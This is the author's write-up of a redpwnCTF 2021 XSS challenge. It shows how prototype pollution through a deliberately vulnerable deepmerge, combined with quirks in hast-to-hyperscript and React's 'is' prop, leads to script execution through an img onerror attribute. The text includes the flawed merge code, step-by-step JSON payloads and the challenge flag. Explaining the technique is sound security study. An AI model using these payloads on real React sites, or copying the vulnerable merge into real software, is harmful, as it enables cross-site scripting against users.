The React framework is generally considered very highly resistant to
XSS; essentially the only way to get XSS under “normal” circumstances is via
unsafe usage of the aptly-named dangerouslySetInnerHTML prop, which is used
surprisingly often for rendering content such as Markdown. However, XSS via
dangerouslySetInnerHTML is boring for a CTF challenge since it’s essentially
attacking the sanitizer for the inner HTML you are telling React to render;
React itself doesn’t play a role in it at all. An arguably safer way of
rendering Markdown content into React is by turning an AST directly into React
nodes, and this is exactly what I decided to explore in my CTF challenge.
MdBin was an XSS web challenge in redpwnCTF 2021 that examined the
effects of prototype pollution on a React app rendering Markdown using plugins
from the unified collective. In particular, because the dependency
tree (and thus potential attack surface that players need to search for) is so
large, I isolated the challenge to essentially just
rehype-react (and its subdependencies) and React itself. All
of the relevant code is called here:
const Renderer = ({ title, hast, theme }) => {
useTitle(title)
useTheme(deepmerge({}, defaultTheme, theme))
return (
<div className='container md-content'>
{hast2reactCompiler(hast)}
</div>
)
}We control title and theme, and hast is the HTML AST that got compiled
from the Markdown input that we also control. Tracing the imports shows that
deepmerge is a homerolled implementation, which should immediately set off
alarm bells for prototype pollution. And closer examination shows that it is:
const deepmerge2 = (a, b) => {
for (const key in b) {
if (typeof a[key] === 'object' && typeof b[key] === 'object'
&& !(a instanceof Array) && !(b instanceof Array)
) {
deepmerge2(a[key], b[key])
} else {
if (typeof b[key] === 'object' && !(b instanceof Array)) {
a[key] = {}
deepmerge2(a[key], b[key])
} else {
a[key] = b[key]
}
}
}
}
export const deepmerge = (a, ...rest) => {
let curr = a
while (rest.length > 0) {
deepmerge2(curr, rest.shift())
}
return curr
}(Fun fact: the first time I tried writing the vulnerable deepmerge, I accidentally made it invulnerable to prototype pollution; the one used in the challenge was provided by ginkoid)
There’s multiple ways forward from here, and first I’ll detail the intended solution, since I believe none of the teams used this method during the CTF.
Intended solution#
From here, the first thing I tried was simply polluting a property and seeing
what would happen. React allows you to programmatically create VDOM nodes via
React.createElement, which uses an object for props, so you
might expect some of our polluted elements to start showing up. So let’s test:
{
"content": "content!",
"theme": {
"__proto__": {
"alt": "polluted"
}
}
}gives us a p tag with a text child "content!", but if we look at the DOM we
see
<p polluted="polluted">content!</p>Somehow the value became the key too! Tracing through the execution brings us to
this bit of code
in hast-to-hyperscript (rehype-react is essentially a thin wrapper around
it to make it work with the unified ecosystem):
props[hastToReact[info.property] || info.property] = valueinfo.property is the normalized version of our property key, which in this
case is just alt. Since hastToReact doesn’t have an alt key,
hastToReact['alt'] goes to the prototype and gives polluted. Squinting at
this a bit, we can see that we can leverage this to now get us arbitrary
attribute control!
If we can make info.property equal something that is not the original key
name of the entry containing the value we can pollute with, then we can set the
key via adding an entry on the prototype with the value of info.property as
the key and our desired key as the value. Since info.property is the
normalized version of our key, we can simply change the capitalization a bit and
get the lookup to resolve differently. For example:
{
"content": "content!",
"theme": {
"__proto__": {
"alt": "href",
"alT": "polluted"
}
}
}will give us
<p href="polluted">content!</p>Let’s walk through what happens. First, we attempt to set alt="href", which
due to the previously mentioned behavior, ends up as href="href". Next, we
attempt to set alT="polluted"; alT gets normalized to alt, and thus
info.property is 'alt'. The lookup on hastToReact['alt'] falls through to
the prototype, which gives us a key of 'href', thus finally setting
props['href'] = 'polluted'.
You might already see where I’m going with this; Markdown lets us create images,
and if we can set the onerror DOM property, then we can execute arbitrary
JavaScript. Let’s give that a try:
{
"content": "",
"theme": {
"__proto__": {
"alt": "onerror",
"alT": "alert(origin)"
}
}
}gives
<img src="//badurl" />Not so fast! If we take a look at the console, we will see React bailed out on
setting onerror because the property was unrecognized:
Warning: Invalid event handler property `onerror`. Did you mean `onError`?And trying onError causes React to complain that our error handler is a string
and not a function:
Uncaught Error: Expected `onError` listener to be a function, instead got a value of `string` type.(This is because React intercepts camel-cased event handlers with its own event
system.) We’re going to need a way around this, and so it’s time to jump over to
React DOM, the part of React responsible for rendering out the VDOM
to the real DOM. Spoiler: the answer is the is prop, which was pointed out to
me by ginkoid when writing the challenge. However, not everyone is just going to
know about this off the top of their head, so let’s instead take a look at how
we might discover is for ourselves.
We’re looking for how attributes are set, which takes us to this interesting bit
of setValueForProperty in
src/client/DOMPropertyOperations.js:
if (isCustomComponentTag || propertyInfo === null) {
if (isAttributeNameSafe(name)) {
const attributeName = name;
if (value === null) {
node.removeAttribute(attributeName);
} else {
node.setAttribute(
attributeName,
enableTrustedTypesIntegration ? (value: any) : '' + (value: any),
);
}
}
return;
}Essentially, if isCustomComponentTag is true and the name is safe, the
attribute is passed through to the DOM untouched by React
(isAttributeNameSafe
essentially just checks against a regex to make sure all the characters are
legal, which onerror passes). So we need to trace back how
isCustomComponentTag got set; going back up the call stack for a bit gets us
to
isCustomComponent:
function isCustomComponent(tagName: string, props: Object) {
if (tagName.indexOf('-') === -1) {
return typeof props.is === 'string';
}
switch (tagName) {
// These are reserved SVG and MathML elements.
// We don't mind this list too much because we expect it to never grow.
// The alternative is to track the namespace in a few places which is convoluted.
// https://w3c.github.io/webcomponents/spec/custom/#custom-elements-core-concepts
case 'annotation-xml':
case 'color-profile':
case 'font-face':
case 'font-face-src':
case 'font-face-uri':
case 'font-face-format':
case 'font-face-name':
case 'missing-glyph':
return false;
default:
return true;
}
}img contains no -, so to get isCustomComponent to return true, we simply
need a string is prop! Let’s give it a try:
{
"content": "",
"theme": {
"__proto__": {
"is": "is",
"alt": "onerror",
"alT": "alert(origin)"
}
}
}Note that we needed onerror, not onError, since onError (and other event
handlers) are processed earlier in React.
Now this of course begs the question, what is is? Although it’s practically
impossible to search for, the React implementation gives us some clues. It turns
out, the global is attribute is part of the Web
Components spec, and causes React to bail on prop handling
because presumably the custom component will be handling them instead. It’s a
very obscure part of HTML that proves very powerful when exploiting React.
Author notes#
The inspiration for this challenge was the Markdown processing stack used on
this blog
(at least, at the time of writing). A quick search for “React XSS” yields
articles pointing to dangerouslySetInnerHTML, javascript: URIs in hrefs,
and for some reason eval as the main vectors for attack, however I thought
that programmatic creation of VDOM nodes would be the much more interesting
target. I’m sure nobody needs to be told twice about how dangerous prototype
pollution is in JavaScript, but what happens when a generally considered safe
framework meets prototype pollution? The thesis of this challenge was to explore
that in something close to a “real-world” application… except the real world
often has other plans for you.
I mentioned that the attack was on the unified collective ecosystem, however the
challenge only has rehype-react in the vulnerable codepath, not even touching
unified itself at all! The flag answers why:
flag{d1d_y0u_kn0w_unified_cr4sh3s_1mm3di4t3ly_0n_p0llut10n?}
The main unified package, which is essentially responsible for plumbing data
between various plugins in the unified ecosystem, has this
check:
// Check if `value` is a constructor.
function newable(value, name) {
return (
typeof value === 'function' &&
value.prototype &&
// A function with keys in its prototype is probably a constructor.
// Classes’ prototype methods are not enumerable, so we check if some value
// exists in the prototype.
(keys(value.prototype) || name in value.prototype)
)
}and then proceeds to try to call new on any plugin that it deems to be
newable. The keys function only checks if there is an enumerable property
somewhere on the prototype chain, ignoring whether or not it is an own property,
and so using any plugin after Object.prototype gets polluted tends to lead to
a very quick crash. So essentially, this particular gadget isn’t very useful in
real applications, since it’s quite rare to use a single plugin only, outside of
unified (and I had to do a bit of a hack
to make it work for the challenge).
Another amusing coincidence is that hast-to-hyperscript actually
patched
the vulnerable code responsible for attempting to set properties from the
prototype in the first place as part of their v10 release migrating to ES
modules; however, rehype-react still depends on ^9.0.0. So, anyone who
decided to read through the hast-to-hyperscript code on GitHub instead of in
their devtools might have gotten mislead here. Lesson? Check the exact version
that the codebase you are working on is using! (And in the npm ecosystem, you
can check by looking at package-lock.json for npm and yarn.lock for
yarn).
Finally, there are two more equally cool, not-quite-intended solutions to check
out; one used a gadget in rehype-react and React’s defaultProps, which you
can read about in CoR’s
writeup,
and another involved convincing hast-to-hyperscript to set
dangerouslySetInnerHTML: {__html: '...'} (sorry, I don’t think any of the
teams who solved this way made a writeup).